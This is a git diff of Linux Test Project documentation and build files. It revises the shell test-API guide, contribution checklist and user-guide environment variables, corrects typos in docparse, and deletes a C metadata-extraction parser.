-not trigger calling it.
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Example test with tests in separate functions
-
-TST_TESTFUNC=test
-TST_CNT=2
-. tst_test.sh
-
-test1()
-{
-	tst_res TPASS "Test $1 passed"
-}
-
-test2()
-{
-	tst_res TPASS "Test $1 passed"
-}
-
-tst_run
-# output:
-# foo 1 TPASS: Test 1 passed
-# foo 2 TPASS: Test 2 passed
--------------------------------------------------------------------------------
-
-If '$TST_CNT' is set, the test library looks if there are functions named
-'$\{TST_TESTFUNC\}1', ..., '$\{TST_TESTFUNC\}$\{TST_CNT\}' and if these are
-found they are executed one by one. The test number is passed to it in the '$1'.
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Example test with tests in a single function
-
-TST_TESTFUNC=do_test
-TST_CNT=2
-. tst_test.sh
-
-do_test()
-{
-	case $1 in
-	1) tst_res TPASS "Test $1 passed";;
-	2) tst_res TPASS "Test $1 passed";;
-	esac
-}
-
-tst_run
-# output:
-# foo 1 TPASS: Test 1 passed
-# foo 2 TPASS: Test 2 passed
--------------------------------------------------------------------------------
-
-Otherwise, if '$TST_CNT' is set but there is no '$\{TST_TESTFUNC\}1', etc.,
-the '$TST_TESTFUNC' is executed '$TST_CNT' times and the test number is passed
-to it in the '$1'.
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Example test with tests in a single function, using $TST_TEST_DATA and
-# $TST_TEST_DATA_IFS
-
-TST_TESTFUNC=do_test
-TST_TEST_DATA="foo:bar:d dd"
-TST_TEST_DATA_IFS=":"
-. tst_test.sh
-
-do_test()
-{
-	tst_res TPASS "Test $1 passed with data '$2'"
-}
-
-tst_run
-# output:
-# foo 1 TPASS: Test 1 passed with data 'foo'
-# foo 2 TPASS: Test 1 passed with data 'bar'
-# foo 3 TPASS: Test 1 passed with data 'd dd'
--------------------------------------------------------------------------------
-
-It's possible to pass data for function with '$TST_TEST_DATA'. Optional
-'$TST_TEST_DATA_IFS' is used for splitting, default value is space.
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Example test with tests in a single function, using $TST_TEST_DATA and $TST_CNT
-
-TST_TESTFUNC=do_test
-TST_CNT=2
-TST_TEST_DATA="foo bar"
-. tst_test.sh
-
-do_test()
-{
-	case $1 in
-	1) tst_res TPASS "Test $1 passed with data '$2'";;
-	2) tst_res TPASS "Test $1 passed with data '$2'";;
-	esac
-}
-
-tst_run
-# output:
-# foo 1 TPASS: Test 1 passed with data 'foo'
-# foo 2 TPASS: Test 2 passed with data 'foo'
-# foo 3 TPASS: Test 1 passed with data 'bar'
-# foo 4 TPASS: Test 2 passed with data 'bar'
--------------------------------------------------------------------------------
-
-'$TST_TEST_DATA' can be used with '$TST_CNT'. If '$TST_TEST_DATA_IFS' not specified,
-space as default value is used. Of course, it's possible to use separate functions.
-
-2.3.2 Library environment variables and functions for shell
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Similarily to the C library various checks and preparations can be requested
-simply by setting right '$TST_NEEDS_FOO'.
-
-[options="header"]
-|=============================================================================
-| Variable name      | Action done
-| 'TST_NEEDS_ROOT'   | Exit the test with 'TCONF' unless executed under root.
-|                    | Alternatively the 'tst_require_root' command can be used.
-| 'TST_NEEDS_TMPDIR' | Create test temporary directory and cd into it.
-| 'TST_NEEDS_DEVICE' | Prepare test temporary device, the path to testing
-                       device is stored in '$TST_DEVICE' variable.
-                       The option implies 'TST_NEEDS_TMPDIR'.
-| 'TST_NEEDS_CMDS'   | String with command names that has to be present for
-                       the test (see below).
-| 'TST_NEEDS_MODULE' | Test module name needed for the test (see below).
-| 'TST_NEEDS_DRIVERS'| Checks kernel drivers support for the test.
-| 'TST_TIMEOUT'      | Maximum timeout set for the test in sec. Must be int >= 1,
-                       or -1 (special value to disable timeout), default is 300.
-                       Variable is meant be set in tests, not by user.
-                       It's an equivalent of `tst_test.timeout` in C, can be set
-                       via 'tst_set_timeout(timeout)' after test has started.
-|=============================================================================
-
-[options="header"]
-|=============================================================================
-| Function name              | Action done
-| 'tst_set_timeout(timeout)' | Maximum timeout set for the test in sec.
-                               See 'TST_TIMEOUT' variable.
-|=============================================================================
-
-NOTE: Network tests (see testcases/network/README.md) use additional variables
-and functions in 'tst_net.sh'.
-
-Checking for presence of commands
-+++++++++++++++++++++++++++++++++
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-
-...
-
-TST_NEEDS_CMDS="modinfo modprobe"
-. tst_test.sh
-
-...
-
--------------------------------------------------------------------------------
-
-Setting '$TST_NEEDS_CMDS' to a string listing required commands will check for
-existence each of them and exits the test with 'TCONF' on first missing.
-
-Alternatively the 'tst_require_cmds()' function can be used to do the same on
-runtime, since sometimes we need to the check at runtime too.
-
-'tst_check_cmds()' can be used for requirements just for a particular test
-as it doesn't exit (it issues 'tst_res TCONF'). Expected usage is:
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-
-TST_TESTFUNC=do_test
-. tst_test.sh
-
-do_test()
-{
-	tst_check_cmds cmd || return
-	cmd --foo
-	...
-}
-
-tst_run
--------------------------------------------------------------------------------
-
-Locating kernel modules
-+++++++++++++++++++++++
-
-The LTP build system can build kernel modules as well, setting
-'$TST_NEEDS_MODULE' to module name will cause the library to look for the
-module in a few possible paths.
-
-If module was found the path to it will be stored into '$TST_MODPATH'
-variable, if module wasn't found the test will exit with 'TCONF'.
-
-Alternatively the 'tst_require_module()' function can be used to do the same
-at runtime.
-
-2.3.3 Optional command line parameters
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Optional test command line parameters
-
-TST_OPTS="af:"
-TST_USAGE=usage
-TST_PARSE_ARGS=parse_args
-TST_TESTFUNC=do_test
-
-. tst_test.sh
-
-ALTERNATIVE=0
-MODE="foo"
-
-usage()
-{
-	cat << EOF
-usage: $0 [-a] [-f <foo|bar>]
-
-OPTIONS
--a     Enable support for alternative foo
--f     Specify foo or bar mode
-EOF
-}
-
-parse_args()
-{
-	case $1 in
-	a) ALTERNATIVE=1;;
-	f) MODE="$2";;
-	esac
-}
-
-do_test()
-{
-	...
-}
-
-tst_run
--------------------------------------------------------------------------------
-
-The 'getopts' string for optional parameters is passed in the '$TST_OPTS'
-variable. There are a few default parameters that cannot be used by a test,
-these can be listed with passing help '-h' option to any test.
-
-The function that prints the usage is passed in '$TST_USAGE', the help for
-the options implemented in the library is appended when usage is printed.
-
-Lastly the function '$PARSE_ARGS' is called with the option name in the '$1'
-and, if option has argument, its value in the '$2'.
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Optional test positional parameters
-
-TST_POS_ARGS=3
-TST_USAGE=usage
-TST_TESTFUNC=do_test
-
-. tst_test.sh
-
-usage()
-{
-	cat << EOF
-usage: $0 [min] [max] [size]
-
-EOF
-}
-
-min="$1"
-max="$2"
-size="$3"
-
-do_test()
-{
-	...
-}
-
-tst_run
--------------------------------------------------------------------------------
-
-You can also request a number of positional parameters by setting the
-'$TST_POS_ARGS' variable. If you do, these will be available as they were
-passed directly to the script in '$1', '$2', ..., '$n'.
-
-2.3.4 Useful library functions
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Retrieving configuration variables
-++++++++++++++++++++++++++++++++++
-
-You may need to retrieve configuration values such as PAGESIZE, there is
-'getconf' but as some system may not have it, you are advised to use
-'tst_getconf' instead. Note that it implements subset of 'getconf'
-system variables used by the testcases only.
-
-[source,sh]
--------------------------------------------------------------------------------
-# retrieve PAGESIZE
-pagesize=`tst_getconf PAGESIZE`
--------------------------------------------------------------------------------
-
-Sleeping for subsecond intervals
-++++++++++++++++++++++++++++++++
-
-Albeit there is a sleep command available basically everywhere not all
-implementations can support sleeping for less than one second. And most of the
-time sleeping for a second is too much. Therefore LTP includes 'tst_sleep'
-that can sleep for defined amount of seconds, milliseconds or microseconds.
-
-[source,sh]
--------------------------------------------------------------------------------
-# sleep for 100 milliseconds
-tst_sleep 100ms
--------------------------------------------------------------------------------
-
-Retry a function call multiple times
-++++++++++++++++++++++++++++++++++++
-
-Sometimes an LTP test needs to retry a function call multiple times because
-the system is not ready to process it successfully on the first try. The LTP
-library has useful tools to handle the call retry automatically.
-'TST_RETRY_FUNC()' will keep retrying for up to 1 second. If you want a custom
-time limit use 'TST_RETRY_FN_EXP_BACKOFF()'. Both methods return the value
-returned by the last 'FUNC' call.
-
-The delay between retries starts at 1 microsecond and doubles after each call.
-The retry loop ends when the function call succeeds or when the next delay
-exceeds the specified time (1 second for 'TST_RETRY_FUNC()'). The maximum
-delay is multiplied by TST_TIMEOUT_MUL. The total cumulative delay may be up
-to twice as long as the adjusted maximum delay.
-
-The C version of 'TST_RETRY_FUNC()' is a macro which takes two arguments:
-
-* 'FUNC' is the complete function call with arguments which should be retried
-  multiple times.
-* 'SUCCESS_CHECK' is a macro or function which will validate 'FUNC' return
-  value. 'FUNC' call was successful if 'SUCCESS_CHECK(ret)' evaluates to
-  non-zero.
-
-Both retry methods clear 'errno' before every 'FUNC' call so your
-'SUCCESS_CHECK' can look for specific error codes as well. The LTP library
-also includes predefined 'SUCCESS_CHECK' macros for the most common call
-conventions:
-
-* 'TST_RETVAL_EQ0()' - The call was successful if 'FUNC' returned 0 or NULL
-* 'TST_RETVAL_NOTNULL()' - The call was successful if 'FUNC' returned any
-  value other than 0 or NULL.
-* 'TST_RETVAL_GE0()' - The call was successful if 'FUNC' returned value >= 0.
-
-[source,c]
--------------------------------------------------------------------------------
-/* Keep trying for 1 second */
-TST_RETRY_FUNC(FUNC, SUCCESS_CHECK)
-
-/* Keep trying for up to 2*N seconds */
-TST_RETRY_FN_EXP_BACKOFF(FUNC, SUCCESS_CHECK, N)
--------------------------------------------------------------------------------
-
-The shell version of 'TST_RETRY_FUNC()' is simpler and takes slightly
-different arguments:
-
-* 'FUNC' is a string containing the complete function or program call with
-  arguments.
-* 'EXPECTED_RET' is a single expected return value. 'FUNC' call was successful
-  if the return value is equal to EXPECTED_RET.
-
-[source,sh]
--------------------------------------------------------------------------------
-# Keep trying for 1 second
-TST_RETRY_FUNC "FUNC arg1 arg2 ..." "EXPECTED_RET"
-
-# Keep trying for up to 2*N seconds
-TST_RETRY_FN_EXP_BACKOFF "FUNC arg1 arg2 ..." "EXPECTED_RET" "N"
--------------------------------------------------------------------------------
-
-Checking for integers
-+++++++++++++++++++++
-
-[source,sh]
--------------------------------------------------------------------------------
-# returns zero if passed an integer parameter, non-zero otherwise
-tst_is_int "$FOO"
--------------------------------------------------------------------------------
-
-Checking for integers and floating point numbers
-++++++++++++++++++++++++++++++++++++++++++++++++
-
-[source,sh]
--------------------------------------------------------------------------------
-# returns zero if passed an integer or floating point number parameter,
-# non-zero otherwise
-tst_is_num "$FOO"
--------------------------------------------------------------------------------
-
-Obtaining random numbers
-++++++++++++++++++++++++
-
-There is no '$RANDOM' in portable shell, use 'tst_random' instead.
-
-[source,sh]
--------------------------------------------------------------------------------
-# get random integer between 0 and 1000 (including 0 and 1000)
-tst_random 0 1000
--------------------------------------------------------------------------------
-
-Formatting device with a filesystem
-+++++++++++++++++++++++++++++++++++
-
-The 'tst_mkfs' helper will format device with the filesystem.
-
-[source,sh]
--------------------------------------------------------------------------------
-# format test device with ext2
-tst_mkfs ext2 $TST_DEVICE
-# default params are $TST_FS_TYPE $TST_DEVICE
-tst_mkfs
-# optional parameters
-tst_mkfs ext4 /dev/device -T largefile
--------------------------------------------------------------------------------
-
-Mounting and unmounting filesystems
-+++++++++++++++++++++++++++++++++++
-
-The 'tst_mount' and 'tst_umount' helpers are a safe way to mount/umount
-a filesystem.
-
-The 'tst_mount' mounts '$TST_DEVICE' of '$TST_FS_TYPE' (optional) to
-'$TST_MNTPOINT' (defaults to mntpoint), optionally using the
-'$TST_MNT_PARAMS'. The '$TST_MNTPOINT' directory is created if it didn't
-exist prior to the function call.
-
-If the path passed (optional, defaults to '$TST_DEVICE') to the 'tst_umount' is
-not mounted (present in '/proc/mounts') it's noop.
-Otherwise it retries to umount the filesystem a few times on a failure, which
-is a workaround since there are a daemons dumb enough to probe all newly
-mounted filesystems, which prevents them from umounting shortly after they
-were mounted.
-
-ROD and ROD_SILENT
-++++++++++++++++++
-
-These functions supply the 'SAFE_MACROS' used in C although they work and are
-named differently.
-
-[source,sh]
--------------------------------------------------------------------------------
-ROD_SILENT command arg1 arg2 ...
-
-# is shorthand for:
-
-command arg1 arg2 ... > /dev/null 2>&1
-if [ $? -ne 0 ]; then
-        tst_brk TBROK "..."
-fi
-
-
-ROD command arg1 arg2 ...
-
-# is shorthand for:
-
-ROD arg1 arg2 ...
-if [ $? -ne 0 ]; then
-        tst_brk TBROK "..."
-fi
--------------------------------------------------------------------------------
-
-WARNING: Keep in mind that output redirection (to a file) happens in the
-         caller rather than in the ROD function and cannot be checked for
-         write errors by the ROD function.
-
-As a matter of a fact doing +ROD echo a > /proc/cpuinfo+ would work just fine
-since the 'ROD' function will only get the +echo a+ part that will run just
-fine.
-
-[source,sh]
--------------------------------------------------------------------------------
-# Redirect output to a file with ROD
-ROD echo foo \> bar
--------------------------------------------------------------------------------
-
-Note the '>' is escaped with '\', this causes that the '>' and filename are
-passed to the 'ROD' function as parameters and the 'ROD' function contains
-code to split '$@' on '>' and redirects the output to the file.
-
-EXPECT_PASS{,_BRK} and EXPECT_FAIL{,_BRK}
-+++++++++++++++++++++++++++++++++++++++++
-
-[source,sh]
--------------------------------------------------------------------------------
-EXPECT_PASS command arg1 arg2 ... [ \> file ]
-EXPECT_FAIL command arg1 arg2 ... [ \> file ]
--------------------------------------------------------------------------------
-
-'EXPECT_PASS' calls 'tst_res TPASS' if the command exited with 0 exit code,
-and 'tst_res TFAIL' otherwise. 'EXPECT_FAIL' does vice versa.
-
-Output redirection rules are the same as for the 'ROD' function. In addition
-to that, 'EXPECT_FAIL' always redirects the command's stderr to '/dev/null'.
-
-There are also 'EXPECT_PASS_BRK' and 'EXPECT_FAIL_BRK', which works the same way
-except breaking a test when unexpected action happen.
-
-It's possible to detect whether expected value happened:
-[source,sh]
--------------------------------------------------------------------------------
-if ! EXPECT_PASS command arg1 2\> /dev/null; then
-	continue
-fi
--------------------------------------------------------------------------------
-
-tst_kvcmp
-+++++++++
-
-This command compares the currently running kernel version given conditions
-with syntax similar to the shell test command.
-
-[source,sh]
--------------------------------------------------------------------------------
-# Exit the test if kernel version is older or equal to 2.6.8
-if tst_kvcmp -le 2.6.8; then
-	tst_brk TCONF "Kernel newer than 2.6.8 is needed"
-fi
-
-# Exit the test if kernel is newer than 3.8 and older than 4.0.1
-if tst_kvcmp -gt 3.8 -a -lt 4.0.1; then
-	tst_brk TCONF "Kernel must be older than 3.8 or newer than 4.0.1"
-fi
--------------------------------------------------------------------------------
-
-[options="header"]
-|=======================================================================
-| expression | description
-| -eq kver   | Returns true if kernel version is equal
-| -ne kver   | Returns true if kernel version is not equal
-| -gt kver   | Returns true if kernel version is greater
-| -ge kver   | Returns true if kernel version is greater or equal
-| -lt kver   | Returns true if kernel version is lesser
-| -le kver   | Returns true if kernel version is lesser or equal
-| -a         | Does logical and between two expressions
-| -o         | Does logical or between two expressions
-|=======================================================================
-
-The format for kernel version has to either be with one dot e.g. '2.6' or with
-two dots e.g. '4.8.1'.
-
-.tst_fs_has_free
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-
-...
-
-# whether current directory has 100MB free space at least.
-if ! tst_fs_has_free . 100MB; then
-	tst_brkm TCONF "Not enough free space"
-fi
-
-...
--------------------------------------------------------------------------------
-
-The 'tst_fs_has_free' shell interface returns 0 if the specified free space is
-satisfied, 1 if not, and 2 on error.
-
-The second argument supports suffixes kB, MB and GB, the default unit is Byte.
-
-.tst_retry
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-
-...
-
-# Retry ping command three times
-tst_retry "ping -c 1 127.0.0.1"
-
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Failed to ping 127.0.0.1"
-else
-	tst_resm TPASS "Successfully pinged 127.0.0.1"
-fi
-
-...
--------------------------------------------------------------------------------
-
-The 'tst_retry' function allows you to retry a command after waiting small
-amount of time until it succeeds or until given amount of retries has been
-reached (default is three attempts).
-
-2.3.5 Restarting daemons
-^^^^^^^^^^^^^^^^^^^^^^^^
-
-Restarting system daemons is a complicated task for two reasons.
-
-* There are different init systems
-  (SysV init, systemd, etc...)
-
-* Daemon names are not unified between distributions
-  (apache vs httpd, cron vs crond, various syslog variations)
-
-To solve these problems LTP has 'testcases/lib/daemonlib.sh' library that
-provides functions to start/stop/query daemons as well as variables that store
-correct daemon name.
-
-.Supported operations
-|==============================================================================
-| start_daemon()   | Starts daemon, name is passed as first parameter.
-| stop_daemon()    | Stops daemon, name is passed as first parameter.
-| restart_daemon() | Restarts daemon, name is passed as first parameter.
-| status_daemon()  | Detect daemon status (exit code: 0: running, 1: not running).
-|==============================================================================
-
-.Variables with detected names
-|==============================================================================
-| CROND_DAEMON | Cron daemon name (cron, crond).
-| SYSLOG_DAEMON | Syslog daemon name (syslog, syslog-ng, rsyslog).
-|==============================================================================
-
-.Cron daemon restart example
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Cron daemon restart example
-
-TCID=cron01
-TST_COUNT=1
-. test.sh
-. daemonlib.sh
-
-...
-
-restart_daemon $CROND_DAEMON
-
-...
-
-tst_exit
--------------------------------------------------------------------------------
-
-2.3.6 Access to the checkpoint interface
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The shell library provides an implementation of the checkpoint interface
-compatible with the C version. All 'TST_CHECKPOINT_*' functions are available.
-
-In order to initialize checkpoints '$TST_NEEDS_CHECKPOINTS' must be set to '1'
-before the inclusion of 'test.sh':
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-
-TST_NEEDS_CHECKPOINTS=1
-. test.sh
--------------------------------------------------------------------------------
-
-Since both the implementations are compatible, it's also possible to start
-a child binary process from a shell test and synchronize with it. This process
-must have checkpoints initialized by calling 'tst_reinit()'.
-
-3. Common problems
-------------------
-
-This chapter describes common problems/misuses and less obvious design patters
-(quirks) in UNIX interfaces. Read it carefully :)
-
-3.1 umask()
-~~~~~~~~~~~
-
-I've been hit by this one several times already... When you create files
-with 'open()' or 'creat()' etc, the mode specified as the last parameter *is
-not* the mode the file is created with. The mode depends on current 'umask()'
-settings which may clear some of the bits. If your test depends on specific
-file permissions you need either to change umask to 0 or 'chmod()' the file
-afterwards or use 'SAFE_TOUCH()' that does the 'chmod()' for you.
-
-3.2 access()
-~~~~~~~~~~~
-
-If 'access(some_file, W_OK)' is executed by root, it will return success even
-if the file doesn't have write permission bits set (the same holds for R_OK
-too). For sysfs files you can use 'open()' as a workaround to check file
-read/write permissions. It might not work for other filesystems, for these you
-have to use 'stat()', 'lstat()' or 'fstat()'.
-
-3.3 umount() EBUSY
-~~~~~~~~~~~~~~~~~~
-
-Various desktop daemons (gvfsd-trash is known for that) may be stupid enough
-to probe all newly mounted filesystem which results in 'umount(2)' failing
-with 'EBUSY'; use 'tst_umount()' described in 2.2.19 that retries in this case
-instead of plain 'umount(2)'.
-
-3.4 FILE buffers and fork()
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Be vary that if a process calls 'fork(2)' the child process inherits open
-descriptors as well as copy of the parent memory so especially if there are
-any open 'FILE' buffers with a data in them they may be written both by the
-parent and children resulting in corrupted/duplicated data in the resulting
-files.
-
-Also open 'FILE' streams are flushed and closed at 'exit(3)' so if your
-program works with 'FILE' streams, does 'fork(2)', and the child may end up
-calling 'exit(3)' you will likely end up with corrupted files.
-
-The solution to this problem is either simply call 'fflush(NULL)' that flushes
-all open output 'FILE' streams just before doing 'fork(2)'. You may also use
-'_exit(2)' in child processes which does not flush 'FILE' buffers and also
-skips 'atexit(3)' callbacks.
-
-4. Test Contribution Checklist
+6 Test Contribution Checklist
 ------------------------------
 
+NOTE: See also
+      https://github.com/linux-test-project/ltp/wiki/Maintainer-Patch-Review-Checklist[Maintainer Patch Review Checklist].
+
 1. Test compiles and runs fine (check with `-i 10` too)
-2. https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/scripts/checkpatch.pl[checkpatch.pl]
-   does not report any errors
-3. The runtest entires are in place
+2. `make check` does not emit any warnings for the test you are working on
+   (hint: run it in the test's directory and/or use `make check-$TCID`)
+3. The runtest entries are in place
 4. Test binaries are added into corresponding '.gitignore' files
 5. Patches apply over the latest git
 
-
-4.1 About .gitignore files
+6.1 About .gitignore files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 There are numerous '.gitignore' files in the LTP tree. Usually there is a
@@ -3229,3 +334,13 @@
 than having single file in the project root directory. This way, we don't have
 to update all the gitignore files when moving directories, and they get deleted
 automatically when a directory with tests is removed.
+
+7 Testing pre-release kernel features
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Tests for features not yet in a mainline kernel release are accepted. However
+they must only be added to the +staging+ runtest file. Once a feature is part
+of the stable kernel ABI the associated test must be moved out of staging.
+
+This is primarily to help test kernel RCs by avoiding the need to download
+separate LTP patchsets.
diff --git a/doc/user-guide.txt b/doc/user-guide.txt
index 8df29e6..656df31 100644
--- a/doc/user-guide.txt
+++ b/doc/user-guide.txt
@@ -10,15 +10,31 @@
 |==============================================================================
 | 'KCONFIG_PATH'        | The path to the kernel config file, (if not set, it tries
                           the usual paths '/boot/config-RELEASE' or '/proc/config.gz').
-| 'LTPROOT'             | Prefix for installed LTP, the default is '/opt/ltp'.
-| 'LTP_COLORIZE_OUTPUT' | Force colorized output behaviour. 'y' or '1': always colorize
-                          'n' or '0': never colorize.
+| 'KCONFIG_SKIP_CHECK'  | Skip kernel config check if variable set (not set by default).
+| 'LTPROOT'             | Prefix for installed LTP.  **Should be always set**
+                          as some tests need it for path to test data files
+                          ('LTP_DATAROOT'). LTP is by default installed into '/opt/ltp'.
+| 'LTP_COLORIZE_OUTPUT' | By default LTP colorizes it's output unless it's redirected
+                          to a pipe or file.  Force colorized output behaviour:
+                          'y' or '1': always colorize, 'n' or '0': never colorize.
 | 'LTP_DEV'             | Path to the block device to be used
                           (C: '.needs_device = 1', shell: 'TST_NEEDS_DEVICE=1').
+| 'LTP_SINGLE_FS_TYPE'  | Testing only - specifies filesystem instead all
+                          supported (for tests with '.all_filesystems').
 | 'LTP_DEV_FS_TYPE'     | Filesystem used for testing (default: 'ext2').
-| 'LTP_TIMEOUT_MUL'     | Multiply timeout, must be number >= 1 (> 1 is useful for
+| 'LTP_TIMEOUT_MUL'     | Multiplies timeout, must be number >= 0.1 (> 1 is useful for
                           slow machines to avoid unexpected timeout).
                           Variable is also used in shell tests, but ceiled to int.
+| 'LTP_RUNTIME_MUL'     | Multiplies maximal test iteration runtime. Tests
+                          that run for more than a second or two are capped on
+                          runtime. You can scale the default runtime both up
+                          and down with this multiplier. NOTE: Not yet implemented
+                          in shell API.
+| 'LTP_VIRT_OVERRIDE'   | Overrides virtual machine detection in the test
+                          library. Setting it to empty string tell the library
+                          that system is not a virtual machine. Other possible
+                          values are 'kvm', 'xen', 'zvm' and 'microsoft' that
+                          describe different types supervisors.
 | 'PATH'                | It's required to addjust path:
                           `PATH="$PATH:$LTPROOT/testcases/bin"`
 | 'TMPDIR'              | Base directory for template directory (C: '.needs_tmpdir = 1'
@@ -26,8 +42,26 @@
 | 'TST_NO_CLEANUP'      | Disable running test cleanup (defined in 'TST_CLEANUP').
 |==============================================================================
 
-2. Colorized output
--------------------
 
-By default LTP colorizes it's output unless using pipe or redirect to file.
-It's possible to force behaviour with 'LTP_COLORIZE_OUTPUT' environment variable.
+2. Test execution time and timeout
+----------------------------------
+
+The limit on how long a test can run does compose of two parts max_runtime and
+timeout. The limit does apply to a single test variant, that means for example
+that tests that run for all available filesystems will apply this limit for a
+single filesystem only.
+
+The max_runtime is a cap on how long the run() function can take, for most
+testcases this part is set to zero. For tests that do run for more than a
+second or two the max_runtime has to be defined and the run() function has to
+check actively how much runtime is left.
+
+Test runtime can be scaled up and down with 'LTP_RUNTIME_MUL' environment
+variable or set on a commandline by the '-I' parameter. Hoewever be vary that
+setting the runtime too low will cause long running tests to exit prematurely
+possibly before the have a chance actually test anyting.
+
+The timeout part is a limit for the test setup and cleanup and also safety
+margin for the runtime accounting. It's currently set to 30 seconds but may
+change later. If your target machine is too slow it can be scaled up with the
+'LTP_TIMEOUT_MUL' environment variable.
diff --git a/docparse/.gitignore b/docparse/.gitignore
index 7a87b42..d786a47 100644
--- a/docparse/.gitignore
+++ b/docparse/.gitignore
@@ -1,7 +1,5 @@
 /*.txt
 /docbook-xsl.css
-/docparse
-/metadata.json
 /metadata.html
 /metadata.pdf
 /metadata.chunked/
diff --git a/docparse/Makefile b/docparse/Makefile
index e2defad..20851fb 100644
--- a/docparse/Makefile
+++ b/docparse/Makefile
@@ -19,7 +19,7 @@
 METADATA_GENERATOR_PARAMS_PDF := -f pdf
 METADATA_GENERATOR_PARAMS_HTML_CHUNKED := -f chunked
 else ifeq ($(METADATA_GENERATOR),)
-$(error 'METADATA_GENERATOR' not not configured, run ./configure in the root directory)
+$(error 'METADATA_GENERATOR' not configured, run ./configure in the root directory)
 else
 $(error '$(METADATA_GENERATOR)' not supported, only asciidoctor and asciidoc are supported)
 endif
@@ -29,7 +29,6 @@
 endif
 
 CLEAN_TARGETS		:= *.css *.js *.txt
-MAKE_TARGETS		:= metadata.json
 
 ifeq ($(WITH_METADATA_HTML),yes)
 MAKE_TARGETS		+= metadata.html
@@ -42,8 +41,6 @@
 MAKE_TARGETS		+= metadata.pdf
 endif
 
-HOST_MAKE_TARGETS	:= docparse
-
 INSTALL_DIR = metadata
 INSTALL_TARGETS = *.css *.js
 
@@ -51,13 +48,8 @@
 METADATA_GENERATOR := asciidoctor
 endif
 
-.PHONY: metadata.json
-
-metadata.json: docparse
-	$(abs_srcdir)/parse.sh > metadata.json
-
-txt: metadata.json
-	$(abs_srcdir)/testinfo.pl metadata.json
+txt: ${abs_top_builddir}/metadata/ltp.json
+	$(abs_srcdir)/testinfo.pl $<
 
 ifeq ($(WITH_METADATA_HTML),yes)
 metadata.html: txt
diff --git a/docparse/README.md b/docparse/README.md
index 37bf461..db156e6 100644
--- a/docparse/README.md
+++ b/docparse/README.md
@@ -1,10 +1,10 @@
-Motivation for metadata exctraction
-===================================
+Motivation for metadata extraction
+==================================
 
 Exporting documentation
 -----------------------
 
-This allow us to build browseable documentation for the testcases, e.g. a
+This allow us to build browsable documentation for the testcases, e.g. a
 catalogue of test information that would be searchable etc. At this point there
 is a single page generated from the extracted data that tries to outline the
 intent.
@@ -13,11 +13,11 @@
 Propagating test requirements
 -----------------------------
 
-Some subtests require differnt hardware resources/software versions/etc. the
+Some subtests require different hardware resources/software versions/etc. the
 test execution framework needs to consume these so that it can locate proper
 hardware, install proper software, etc.
 
-Some examples of requriments are:
+Some examples of requirements are:
 
 * Test needs at least 1GB of RAM.
 
@@ -31,7 +31,7 @@
 
 
 With this information extracted from the tests the testrunner can then map the
-requiremnts on the available machines in a lab and select a proper machine for
+requirements on the available machines in a lab and select a proper machine for
 the particular (sub)set of testcases as well as supply a particular test with
 additional information needed for the test, such as address of the i2c device,
 paths to the serial devices, etc. In the case of virtual machines the test could
@@ -176,7 +176,7 @@
  */
 ```
 
-Which will yield following json output:
+Which will yield following JSON output:
 
 ```json
  "testcaseXY": {
diff --git a/docparse/docparse.c b/docparse/docparse.c
deleted file mode 100644
index 8cd0d0e..0000000
--- a/docparse/docparse.c
+++ /dev/null
@@ -1,434 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
-/*
- * Copyright (c) 2019 Cyril Hrubis <chrubis@suse.cz>
- * Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
- */
-
-#include <stdio.h>
-#include <string.h>
-#include <libgen.h>
-#include <ctype.h>
-#include <unistd.h>
-
-#include "data_storage.h"
-
-#define WARN(str) fprintf(stderr, "WARNING: " str "\n")
-
-static void oneline_comment(FILE *f)
-{
-	int c;
-
-	do {
-		c = getc(f);
-	} while (c != '\n');
-}
-
-static const char *eat_asterisk_space(const char *c)
-{
-	unsigned int i = 0;
-
-	while (isspace(c[i]))
-		i++;
-
-	if (c[i] == '*') {
-		if (isspace(c[i+1]))
-			i++;
-		return &c[i+1];
-	}
-
-	return c;
-}
-
-static void multiline_comment(FILE *f, struct data_node *doc)
-{
-	int c;
-	int state = 0;
-	char buf[4096];
-	unsigned int bufp = 0;
-
-	for (;;) {
-		c = getc(f);
-
-		if (doc) {
-			if (c == '\n') {
-				struct data_node *line;
-				buf[bufp] = 0;
-				line = data_node_string(eat_asterisk_space(buf));
-				if (data_node_array_add(doc, line))
-					WARN("doc string comment truncated");
-				bufp = 0;
-				continue;
-			}
-
-			if (bufp + 1 >= sizeof(buf))
-				continue;
-
-			buf[bufp++] = c;
-		}
-
-		switch (state) {
-		case 0:
-			if (c == '*')
-				state = 1;
-		break;
-		case 1:
-			switch (c) {
-			case '/':
-				return;
-			case '*':
-				continue;
-			default:
-				state = 0;
-			break;
-			}
-		break;
-		}
-	}
-
-}
-
-static const char doc_prefix[] = "\\\n";
-
